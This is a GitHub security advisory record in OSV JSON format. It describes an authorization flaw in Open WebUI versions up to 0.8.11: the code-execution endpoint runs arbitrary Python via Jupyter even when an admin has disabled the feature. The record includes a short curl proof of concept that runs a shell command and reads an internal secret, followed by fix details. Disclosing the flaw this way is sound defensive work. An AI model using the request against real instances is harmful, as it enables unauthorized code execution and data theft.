{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:28:40Z",
    "nvd_published_at": "2026-05-15T21:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint \u2014 the configuration says \"disabled\" but code still executes.\n\n### Details\n\nThe admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.\n\n### PoC\n\n**Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.**\n\n**Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config.\n\n```bash\n# Step 1: Verify code execution is disabled\ncurl -s http://target:8080/api/v1/configs/code_execution \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: {\"ENABLE_CODE_EXECUTION\": false, ...}\n\n# Step 2: Execute code anyway \u2014 gate bypassed\ncurl -s -X POST http://target:8080/api/v1/utils/code/execute \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"code\":\"import os; print(os.popen(\\\"id\\\").read())\"}\u0027\n```\n\n**Verified output:**\n\n```\nConfig: {\"ENABLE_CODE_EXECUTION\":false,\"CODE_EXECUTION_ENGINE\":\"jupyter\",...}\n\nexecute_status=200\nexecute_body={\"stdout\":\"OPEN-WEBUI-SSRF-SECRET\",\"stderr\":\"\",\"result\":\"\"}\n```\n\nThe PoC read the internal secret service content via Jupyter \u2014 despite `ENABLE_CODE_EXECUTION=false`. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.\n\n### Impact\n\nAny authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:\n\n- Arbitrary code execution in the Jupyter container (read files, spawn processes)\n- Network access to all internal Docker services from the Jupyter container\n- Data exfiltration from internal services\n- The admin\u0027s security configuration (`ENABLE_CODE_EXECUTION=false`) is silently ineffective\n- Users who are told \"code execution is disabled\" have a false sense of security\n\n## Resolution\n\nFixed in commit [6d736d3c5](https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba), first released in **v0.8.12**. The `/api/v1/utils/code/execute` handler in `backend/open_webui/routers/utils.py` now checks `request.app.state.config.ENABLE_CODE_EXECUTION` before dispatching to the Jupyter engine and returns 403 with `FEATURE_DISABLED(\u0027Code execution\u0027)` when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on `\u003e= 0.8.12` are not affected.",
  "id": "GHSA-482j-2pq6-q5w4",
  "modified": "2026-05-15T23:55:51Z",
  "published": "2026-05-14T20:28:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-482j-2pq6-q5w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/6d736d3c598dbe49488675ed42845e00b62dfcba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.8.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` \u2014 feature gate bypassed"
}